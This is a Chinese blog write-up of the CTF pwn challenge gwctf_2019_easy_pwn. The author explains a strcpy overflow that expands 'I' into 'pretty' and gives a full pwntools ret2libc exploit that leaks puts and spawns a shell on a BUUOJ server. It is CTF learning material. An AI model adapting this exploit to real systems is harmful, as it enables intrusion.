PWN刷题笔记——gwctf_2019_easy_pwn

先声明一点,我真的看不懂这是什么东西,这C++反编译的玩意太恶心了,我吐了。

不过危险函数strcpy(&s, v6);我还是知道的(虽然我就没几次遇到过)

strings,crtl+x追踪

pretty找到了,在主函数里,可惜就是没找到I

追踪,好,找到了,可是我还是看不懂。

看看程序吧。。。

。。。

为什么这么做,因为老早之前做过类似的题(源码是C),虽然我也猜测可能是过滤“pretty”或者“I”什么的,但是结果是替换。

好!带师我悟了!

0x5C+4是96,96除以6。。。妙啊!果然能整除!

不过后来搞半天找到了原题和exp的github。。。原来是有libc的。。。无语子。。。

后面就是很简单的rop了

我日,捡漏成功!!!!!!!!!

最终exp:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p=remote('node3.buuoj.cn',25856)
libc=ELF('./libstdc++.so.6')
elf=ELF('./gwctf_2019_easy_pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x8049091
payload1=b'I'*16+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload1)
p.recvuntil('pretty'*16)
p.recvuntil("\n")
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
str_bin_sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil("name!\n")
payload2=b'I'*16+p32(system)+p32(main)+p32(str_bin_sh)
p.sendline(payload2)
p.interactive()

评论

  1. Cigwang
    Windows Edge 89.0.774.77
    6月前
    2021-4-18 3:18:06

    C++ 的 std::string 是个 typedef,原名就是那一长串 basic_string<> 啥啥啥的,上面那些就是些 string 的 STL 源码;
    后面 operator 什么的是操作符重载,两个参数分别是 lhs 和 rhs,比如 operator+= 那就是前一个字符串拼接后一个 ;
    21-25行调了构造函数析构函数;
    45行那个 c_str 是接受一个 std::string ,返回一个 char * 字符串

    • PiCpo 博主
      Windows Firefox 87.0
      6月前
      2021-4-18 8:40:15

      666666,tql

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇